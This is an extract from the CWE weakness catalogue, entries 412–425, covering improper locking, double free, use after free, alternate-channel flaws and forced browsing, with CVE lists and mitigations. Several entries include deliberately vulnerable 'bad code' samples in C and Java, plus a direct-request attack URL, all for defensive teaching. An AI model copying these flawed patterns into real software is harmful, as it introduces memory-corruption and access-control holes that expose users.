ChildOf	<b>C</b>	730	OWASP Top Ten 2004 Category A9 - Denial of Service	<b>711</b>	1120
ChildOf	<b>C</b>	853	CERT Java Secure Coding Section 08 - Locking (LCK)	<b>844</b>	1295
ChildOf	<b>C</b>	989	SFP Secondary Cluster: Unrestricted Lock	<b>888</b>	1387
MemberOf	<b>V</b>	630	<i>Weaknesses Examined by SAMATE</i>	<b>630</b>	980

### Relationship Notes

This overlaps Insufficient Resource Pool when the "pool" is of size 1. It can also be resultant from race conditions, although the timing window could be quite large in some cases.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unrestricted Critical Resource Lock
7 Pernicious Kingdoms			Deadlock
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT Java Secure Coding	LCK00-J		Use private final lock objects to synchronize classes that may interact with untrusted code
CERT Java Secure Coding	LCK07-J		Avoid deadlock by requesting and releasing locks in the same order

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP22		Unrestricted lock

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
25	Forced Deadlock	

### White Box Definitions

A weakness where:

1. either an end statement performs a blocking operation on an externally accessible lock or
2. a code path has
  - 2.1. the start statement that performs a non-blocking operation on an externally accessible lock and
  - 2.2. the end statement that is a condition which checks that the lock operation failed and that either
    - 2.2.1. leads to the start statement or
    - 2.2.2. leads to abnormal termination.

## CWE-413: Improper Resource Locking

Weakness ID: 413 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not lock or does not correctly lock a resource when the software must have exclusive access to the resource.

#### Extended Description

When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software's assumption that the resource will not change, potentially leading to unexpected behaviors.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Availability

#### Modify application data

#### DoS: instability

#### DoS: crash / exit / restart

### Demonstrative Examples

#### Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

#### C Example:

*Bad Code*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

**C Example:**

Good Code

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

**Example 2:**

This Java example shows a simple BankAccount class with deposit and withdraw methods.

**Java Example:**

Bad Code

```
public class BankAccount {
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {
        double newBalance = accountBalance + depositAmount;
        accountBalance = newBalance;
    }
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        double newBalance = accountBalance - withdrawAmount;
        accountBalance = newBalance;
    }
    // other methods for accessing the BankAccount object
    ...
}
```

However, the deposit and withdraw methods have shared access to the account balance private class variable. This can result in a race condition if multiple threads attempt to call the deposit and withdraw methods simultaneously where the account balance is modified by one thread before another thread has completed modifying the account balance. For example, if a thread attempts to withdraw funds using the withdraw method before another thread that is depositing funds using the deposit method completes the deposit then there may not be sufficient funds for the withdraw transaction.

To prevent multiple threads from having simultaneous access to the account balance variable the deposit and withdraw methods should be synchronized using the synchronized modifier.

**Java Example:**

Good Code

```
public class BankAccount {
    ...
    // synchronized method to deposit amount into BankAccount
    public synchronized void deposit(double depositAmount) {
        ...
    }
    // synchronized method to withdraw amount from BankAccount
    public synchronized void withdraw(double withdrawAmount) {
        ...
    }
    ...
}
```

An alternative solution is to use a lock object to ensure exclusive access to the bank account balance variable. As shown below, the deposit and withdraw methods use the lock object to set a

lock to block access to the BankAccount object from other threads until the method has completed updating the bank account balance variable.

**Java Example:**

Good Code

```
public class BankAccount {
    ...
    // lock object for thread access to methods
    private ReentrantLock balanceChangeLock;
    // condition object to temporarily release lock to other threads
    private Condition sufficientFundsCondition;
    // method to deposit amount into BankAccount
    public void deposit(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            double newBalance = balance + amount;
            balance = newBalance;
            // inform other threads that funds are available
            sufficientFundsCondition.signalAll();
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    // method to withdraw amount from bank account
    public void withdraw(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            while (balance < amount) {
                // temporarily unblock access
                // until sufficient funds are available
                sufficientFundsCondition.await();
            }
            double newBalance = balance - amount;
            balance = newBalance;
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    ...
}
```

**Potential Mitigations**

**Architecture and Design**

Use a non-conflicting privilege scheme.

**Architecture and Design**

**Implementation**

Use synchronization when locking a resource.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		411	Resource Locking Problems	<b>699</b>	710
ChildOf		667	Improper Locking	<b>1000</b>	1032
ChildOf		852	CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)	844	1294
ChildOf		853	CERT Java Secure Coding Section 08 - Locking (LCK)	<b>844</b>	1295
ChildOf		986	SFP Secondary Cluster: Missing Lock	<b>888</b>	1386
ParentOf		591	Sensitive Data Storage in Improperly Locked Memory	<b>699</b> <b>1000</b>	932

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Insufficient Resource Locking
CERT Java Secure Coding	VNA00-J	Ensure visibility when accessing shared primitive variables
CERT Java Secure Coding	VNA02-J	Ensure that compound operations on shared variables are atomic
CERT Java Secure Coding	LCK00-J	Use private final lock objects to synchronize classes that may interact with untrusted code
Software Fault Patterns	SFP19	Missing Lock

## CWE-414: Missing Lock Check

Weakness ID: 414 (Weakness Base)

Status: Draft

### Description

#### Summary

A product does not check to see if a lock is present before performing sensitive operations on a resource.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Availability

##### Modify application data

##### DoS: instability

##### DoS: crash / exit / restart

#### Observed Examples

Reference	Description
CVE-2004-1056	Product does not properly check if a lock is present, allowing other attackers to access functionality.

#### Potential Mitigations

##### Architecture and Design

##### Implementation

Implement a reliable lock mechanism.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>C</b>	411	Resource Locking Problems	699	710
ChildOf	<b>B</b>	667	Improper Locking	1000	1032
ChildOf	<b>C</b>	986	SFP Secondary Cluster: Missing Lock	888	1386

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Missing Lock Check
Software Fault Patterns	SFP19	Missing Lock

## CWE-415: Double Free

Weakness ID: 415 (Weakness Variant)

Status: Draft

### Description

#### Summary

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

#### Extended Description

When a program calls `free()` twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to `malloc()` to return the same pointer. If `malloc()` returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

### Alternate Terms

**Double-free**

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

**Integrity**

**Confidentiality**

**Availability**

**Execute unauthorized code or commands**

Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.

### Likelihood of Exploit

Low to Medium

### Demonstrative Examples

#### Example 1:

The following code shows a simple example of a double free vulnerability.

#### C Example:

*Bad Code*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

Error conditions and other exceptional circumstances

Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files.

Programmers seem particularly susceptible to freeing global variables more than once.

#### Example 2:

While contrived, this code should be exploitable on Linux distributions which do not ship with heap-check summing turned on.

#### C Example:

*Bad Code*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf1R2;
    buf1R1 = (char *) malloc(BUFSIZE2);
    buf2R1 = (char *) malloc(BUFSIZE2);
    free(buf1R1);
    free(buf2R1);
```



```

buf1R2 = (char *) malloc(BUFSIZE1);
strncpy(buf1R2, argv[1], BUFSIZE1-1);
free(buf2R1);
free(buf1R2);
}

```

### Observed Examples

Reference	Description
CVE-2002-0059	Double free from malformed compressed data.
CVE-2003-0545	Double free from invalid ASN.1 encoding.
CVE-2003-1048	Double free from malformed GIF.
CVE-2004-0642	Double free resultant from certain error conditions.
CVE-2004-0772	Double free resultant from certain error conditions.
CVE-2005-0891	Double free from malformed GIF.
CVE-2005-1689	Double free resultant from certain error conditions.
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415).

### Potential Mitigations

#### Architecture and Design

Choose a language that provides automatic memory management.

#### Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

#### Implementation

Use a static analysis tool to find double free instances.

### Relationships

Nature	Type	ID	Name	⌵	Page
PeerOf	<b>B</b>	123	Write-what-where Condition	1000	248
ChildOf	<b>C</b>	398	Indicator of Poor Code Quality	<b>700</b>	684
ChildOf	<b>C</b>	399	Resource Management Errors	<b>699</b>	686
PeerOf	<b>B</b>	416	Use After Free	699	719
				1000	
ChildOf	<b>C</b>	633	Weaknesses that Affect Memory	<b>631</b>	981
ChildOf	<b>B</b>	666	Operation on Resource in Wrong Phase of Lifetime	1000	1031
ChildOf	<b>C</b>	675	Duplicate Operations on Resource	1000	1043
ChildOf	<b>C</b>	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	<b>734</b>	1134
ChildOf	<b>B</b>	825	Expired Pointer Dereference	<b>1000</b>	1255
ChildOf	<b>C</b>	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>	1314
ChildOf	<b>C</b>	969	SFP Secondary Cluster: Faulty Memory Release	<b>888</b>	1380
CanFollow	<b>B</b>	364	Signal Handler Race Condition	1000	635
MemberOf	<b>V</b>	630	Weaknesses Examined by SAMATE	<b>630</b>	980

### Relationship Notes

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

### Affected Resources

- Memory

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		DFREE - Double-Free Vulnerability
7 Pernicious Kingdoms		Double Free
CLASP		Doubly freeing memory

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MEM00-C	Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C	Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM31-C	Free dynamically allocated memory exactly once
CERT C++ Secure Coding	MEM01-CPP	Store a valid value in pointers immediately after deallocation
CERT C++ Secure Coding	MEM31-CPP	Free dynamically allocated memory exactly once
Software Fault Patterns	SFP12	Faulty Memory Release

### White Box Definitions

A weakness where code path has:

1. start statement that relinquishes a dynamically allocated memory resource
2. end statement that relinquishes the dynamically allocated memory resource

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Double Frees", Page 379.. 1st Edition. Addison Wesley. 2006.

### Maintenance Notes

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

## CWE-416: Use After Free

Weakness ID: 416 (*Weakness Base*)

Status: Draft

### Description

#### Summary

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

#### Extended Description

The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:

Error conditions and other exceptional circumstances.

Confusion over which part of the program is responsible for freeing the memory.

In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.

If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

### Alternate Terms

**Dangling pointer**

**Use-After-Free**

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

**Languages**

- C
- C++

## Common Consequences

### Integrity

#### Modify memory

The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.

### Availability

#### DoS: crash / exit / restart

If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.

### Integrity

### Confidentiality

### Availability

#### Execute unauthorized code or commands

If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.

## Likelihood of Exploit

High

## Demonstrative Examples

### Example 1:

#### C Example:

*Bad Code*

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf2R2;
    char *buf3R2;
    buf1R1 = (char *) malloc(BUFSIZER1);
    buf2R1 = (char *) malloc(BUFSIZER1);
    free(buf2R1);
    buf2R2 = (char *) malloc(BUFSIZER2);
    buf3R2 = (char *) malloc(BUFSIZER2);
    strncpy(buf2R1, argv[1], BUFSIZER1-1);
    free(buf1R1);
    free(buf2R2);
    free(buf3R2);
}
```

### Example 2:

The following code illustrates a use after free error:

#### C Example:

*Bad Code*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

## Observed Examples

Reference	Description
CVE-2006-4434	mail server does not properly handle a long header.
CVE-2006-4997	freed pointer dereference
CVE-2008-0077	assignment of malformed values to certain properties triggers use after free
CVE-2008-5038	use-after-free when one thread accessed memory that was freed by another thread
CVE-2009-0749	realloc generates new buffer and pointer, but previous pointer is still retained, leading to use after free
CVE-2009-1837	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)
CVE-2009-2416	use-after-free found by fuzzing
CVE-2009-3553	disconnect during a large data transfer causes incorrect reference count, leading to use-after-free
CVE-2009-3616	use-after-free by disconnecting during data transfer, or a message containing incorrect data types
CVE-2009-3658	Use after free in ActiveX object by providing a malformed argument to a method
CVE-2010-0050	HTML document with incorrectly-nested tags
CVE-2010-0249	use-after-free related to use of uninitialized memory
CVE-2010-0302	incorrectly tracking a reference count leads to use-after-free
CVE-2010-0378	unload of an object that is currently being accessed by other functionality
CVE-2010-0629	use-after-free involving request containing an invalid version number
CVE-2010-1208	object is deleted even with a non-zero reference count, and later accessed
CVE-2010-1437	Access to a "dead" object that is being cleaned up
CVE-2010-1772	Timers are not disabled when a related object is deleted
CVE-2010-2547	certificate with a large number of Subject Alternate Names not properly handled in realloc, leading to use-after-free
CVE-2010-2753	chain: integer overflow leads to use-after-free
CVE-2010-2941	Improper allocation for invalid data leads to use-after-free.
CVE-2010-3328	Use-after-free in web browser, probably resultant from not initializing memory.
CVE-2010-4168	Use-after-free triggered by closing a connection while data is still being transmitted.

## Potential Mitigations

### Architecture and Design

Choose a language that provides automatic memory management.

### Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

## Relationships

Nature	Type	ID	Name	CVSS	Page
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	234
CanPrecede	B	123	Write-what-where Condition	1000	248
ChildOf	G	398	Indicator of Poor Code Quality	700	684
ChildOf	C	399	Resource Management Errors	699	686
ChildOf	C	633	Weaknesses that Affect Memory	631	981
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734	1134
ChildOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1244
ChildOf	B	825	Expired Pointer Dereference	1000	1255
ChildOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1314
ChildOf	C	983	SFP Secondary Cluster: Faulty Resource Use	888	1385
CanFollow	B	364	Signal Handler Race Condition	1000	635
PeerOf	V	415	Double Free	699	716
MemberOf	V	630	Weaknesses Examined by SAMATE	1000	630

## Affected Resources

- Memory

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Use After Free
CLASP		Using freed memory
CERT C Secure Coding	MEM00-C	Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C	Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM30-C	Do not access freed memory
CERT C++ Secure Coding	MEM01-CPP	Store a valid value in pointers immediately after deallocation
CERT C++ Secure Coding	MEM30-CPP	Do not access freed memory
Software Fault Patterns	SFP15	Faulty Resource Use

### White Box Definitions

A weakness where code path has:

1. start statement that relinquishes a dynamically allocated memory resource
2. end statement that accesses the dynamically allocated memory resource

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

## CWE-417: Channel and Path Errors

Category ID: 417 (Category)

Status: Draft

### Description

#### Summary

Weaknesses in this category are related to improper handling of communication channels and access paths.

### Applicable Platforms

#### Languages

- All

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	699	17
ChildOf	C	399	Resource Management Errors	699	686
ParentOf	C	418	Channel Errors	699	722
ParentOf	G	424	Improper Protection of Alternate Path	699	727
ParentOf	A	426	Untrusted Search Path	699	729
ParentOf	B	427	Uncontrolled Search Path Element	699	733
ParentOf	B	428	Unquoted Search Path or Element	699	736

### Relationship Notes

A number of vulnerabilities are specifically related to problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems. They are commonly used in "bypass" attacks, such as those that exploit authentication errors.

### Research Gaps

Most of these issues are probably under-studied. Only a handful of public reports exist.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER	CHAP.VIRTUAL	Channel and Path Errors

## CWE-418: Channel Errors

Category ID: 418 (Category)

Status: Draft

### Description





**Summary**

Weaknesses in this category are related to improper handling of communication channels.

**Applicable Platforms****Languages**

- All

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf		417	Channel and Path Errors	699	722
ParentOf		419	Unprotected Primary Channel	699	723
ParentOf		420	Unprotected Alternate Channel	699	723
ParentOf		514	Covert Channel	699	858

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Channel Errors

## CWE-419: Unprotected Primary Channel

**Weakness ID:** 419 (*Weakness Base*)**Status:** Draft**Description****Summary**

The software uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Access Control**

Gain privileges / assume identity

Bypass protection mechanism

**Potential Mitigations****Architecture and Design**

Do not expose administrative functionality on the user UI.

**Architecture and Design**

Protect the administrative/restricted functionality with a strong authentication mechanism.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf		418	Channel Errors	699	722
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1000	1349
ChildOf		956	SFP Secondary Cluster: Channel Attack	888	1374

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unprotected Primary Channel

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
383	Harvesting Usernames or UserIDs via Application API Event Monitoring	

## CWE-420: Unprotected Alternate Channel

**Weakness ID:** 420 (*Weakness Base*)**Status:** Draft

**Description****Summary**

The software protects a primary channel, but it does not use the same level of protection for an alternate channel.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- Language-independent







**Common Consequences****Access Control****Gain privileges / assume identity****Bypass protection mechanism****Observed Examples**

Reference	Description
CVE-2002-0066	Windows named pipe created without authentication/access control, allowing configuration modification.
CVE-2002-0567	DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote.
CVE-2002-1578	Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database.
CVE-2002-1863	FTP service can not be disabled even when other access controls would require it.
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.
CVE-2004-1461	Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address.

**Potential Mitigations****Architecture and Design**

Identify all alternate channels and use the same protection mechanisms that are used for the primary channels.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		418	Channel Errors	699	722
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1000	1349
ChildOf		956	SFP Secondary Cluster: Channel Attack	888	1374
PeerOf		288	Authentication Bypass Using an Alternate Path or Channel	1000	512
ParentOf		421	Race Condition During Access to Alternate Channel	699	724
ParentOf		422	Unprotected Windows Messaging Channel ("Shatter")	699	725

**Relationship Notes**

This can be primary to authentication errors, and resultant from unhandled error conditions.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unprotected Alternate Channel

## CWE-421: Race Condition During Access to Alternate Channel

Weakness ID: 421 (Weakness Base)

Status: Draft



**Description****Summary**

The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.

**Extended Description**

This creates a race condition that allows an attacker to access the channel before the authorized user does.

**Time of Introduction**

- Architecture and Design





**Applicable Platforms****Languages**

- All

**Common Consequences****Access Control****Gain privileges / assume identity****Bypass protection mechanism****Observed Examples**

Reference	Description
CVE-1999-0351	FTP "Pizza Thief" vulnerability. Attacker can connect to a port that was intended for use by another client.
CVE-2003-0230	Product creates Windows named pipe during authentication that another attacker can hijack by connecting to it.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	<input checked="" type="checkbox"/>	699 1000
ChildOf		420	Unprotected Alternate Channel		<b>699</b> <b>1000</b> 723
ChildOf		634	Weaknesses that Affect System Processes		<b>631</b> 982
ChildOf		956	SFP Secondary Cluster: Channel Attack		<b>888</b> 1374

**Affected Resources**

- System Process

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Alternate Channel Race Condition

**References**

Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". April 2002. < <http://www.blakewatts.com/namedpipepaper.html> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.

## CWE-422: Unprotected Windows Messaging Channel ('Shatter')

Weakness ID: 422 (Weakness Variant)

Status: Draft

**Description****Summary**

The software does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

## Languages

- All

## Common Consequences

### Access Control

Gain privileges / assume identity

Bypass protection mechanism

## Observed Examples

Reference	Description
CVE-2002-0971	Bypass GUI and access restricted dialog box.
CVE-2002-1230	Gain privileges via Windows message.
CVE-2003-0350	A control allows a change to a pointer for a callback function using Windows message.
CVE-2003-0908	Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog.
CVE-2004-0207	User can call certain API functions to modify certain properties of privileged programs.
CVE-2004-0213	Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908.

## Potential Mitigations

### Architecture and Design

Always verify and authenticate the source of the message.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		360	Trust of System Event Data	1000	625
ChildOf		420	Unprotected Alternate Channel	<b>699</b> <b>1000</b>	723
ChildOf		634	Weaknesses that Affect System Processes	<b>631</b>	982
ChildOf		953	SFP Secondary Cluster: Missing Endpoint Authentication	<b>888</b>	1373

## Relationship Notes

Overlaps privilege errors and UI errors.

## Research Gaps

Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such.

Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

## Affected Resources

- System Process

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Unprotected Windows Messaging Channel ('Shatter')
Software Fault Patterns	SFP30	Missing endpoint authentication

## References

Paget. "Exploiting design flaws in the Win32 API for privilege escalation. Or... Shatter Attacks - How to break Windows". August, 2002. < <http://web.archive.org/web/20060115174629/http://security.tombom.co.uk/shatter.html> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Design Review." Page 34.. 1st Edition. Addison Wesley. 2006.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 12, "Shatter Attacks", Page 694.. 1st Edition. Addison Wesley. 2006.

# CWE-423: DEPRECATED (Duplicate): Proxied Trusted Channel

Weakness ID: 423 (Deprecated Weakness Base)

Status: Deprecated

## Description

**Summary**

This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.

**CWE-424: Improper Protection of Alternate Path****Weakness ID:** 424 (*Weakness Class*)**Status:** Draft**Description****Summary**

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

**Time of Introduction**

- Architecture and Design






**Applicable Platforms****Languages**

- All

**Common Consequences****Access Control****Bypass protection mechanism****Gain privileges / assume identity****Potential Mitigations****Architecture and Design**

Deploy different layers of protection to implement security in depth.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		417	Channel and Path Errors	<b>699</b>	722
ChildOf		638	Not Using Complete Mediation	<b>1000</b>	986
ChildOf		693	Protection Mechanism Failure	1000	1074
ChildOf		945	SFP Secondary Cluster: Insecure Resource Access	<b>888</b>	1371
ParentOf		425	<i>Direct Request ('Forced Browsing')</i>	699	727
				1000	

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Alternate Path Errors
Software Fault Patterns	SFP35	Insecure resource access

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
127	Directory Indexing	

**CWE-425: Direct Request ('Forced Browsing')****Weakness ID:** 425 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

**Extended Description**

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

**Alternate Terms****forced browsing**

The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Confidentiality****Integrity****Availability****Access Control****Read application data****Modify application data****Execute unauthorized code or commands****Gain privileges / assume identity****Demonstrative Examples**

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

**JSP Example:***Attack*

```
http://somesite.com/someapplication/admin.jsp
```

**Observed Examples**

Reference	Description
CVE-2002-1798	Upload arbitrary files via direct request.
CVE-2004-2144	Bypass authentication via direct request.
CVE-2004-2257	Bypass auth/auth via direct request.
CVE-2005-1654	Authorization bypass using direct request.
CVE-2005-1668	Access privileged functionality using direct request.
CVE-2005-1685	Authentication bypass via direct request.
CVE-2005-1688	Direct request leads to infoleak by error.
CVE-2005-1697	Direct request leads to infoleak by error.
CVE-2005-1698	Direct request leads to infoleak by error.
CVE-2005-1827	Authentication bypass via direct request.
CVE-2005-1892	Infinite loop or infoleak triggered by direct requests.

**Potential Mitigations****Architecture and Design****Operation**

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

**Architecture and Design**

Consider using MVC based frameworks such as Struts.

**Relationships**

Nature	Type	ID	Name	V	Page
CanPrecede	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1000	184
ChildOf	B	288	Authentication Bypass Using an Alternate Path or Channel	699	512
ChildOf	C	424	Improper Protection of Alternate Path	699	727
ChildOf	C	442	Web Problems	699	755
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	1000	792
ChildOf	C	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	629	1115
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1116

Nature	Type	ID	Name	Count	Page
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
ChildOf		862	Missing Authorization	699 1000	1299
